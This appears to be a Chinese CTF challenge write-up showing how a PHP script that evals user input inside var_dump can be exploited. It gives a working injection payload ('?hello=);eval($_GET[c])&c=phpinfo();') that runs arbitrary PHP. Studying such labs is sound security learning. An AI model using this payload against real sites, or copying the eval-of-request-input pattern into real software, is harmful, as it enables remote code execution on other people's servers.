zoukankan      html  css  js  c++  java
  • PHP20-challenge12

      看下eval+var_dump的妙用。
      eval会执行括号中的内容;var_dump中内容是字符串时输出的模式是 string(x) "xxxx"。如果他俩结合,是可以很好滴应用的。
      上题。
    <?php
    error_reporting(0);
    show_source(__FILE__);
     
    $a = @$_REQUEST['hello'];
     
    eval("var_dump($a);");
     
      这串代码看懂不难。利用方法是:首先,可以让var_dump的字符串结果双引号闭合前面的双引号,结束前面eval的执行,然后另启动一个eval函数。
      构造的信息如下:
    ?hello=);eval($_GET[c])&c=phpinfo();
      var_dump($a);的结果为:
    string(15) ");eval($_GET[c]"
      eval("var_dump($a);");的结果为:
    eval("string(15) ");eval($_GET[c]" ");
      看见没,var_dump的结果的双引号将eval前面和后面的双引号都完美的闭合了,从而能够愉快地执行eval语句,漂亮。
      附一张结果图:
     
  • 相关阅读:
    python 解释器交互模块 -- sys
    python 操作系统模块 -- OS
    python 随机数模块 -- random
    python 时间模块 -- time
    Python 面向对象
    python 模块
    python -- 面向对象进阶
    github连接提示
    linux day4
    git基本使用
  • 原文地址:https://www.cnblogs.com/HYWZ36/p/10297313.html
Copyright © 2011-2022 走看看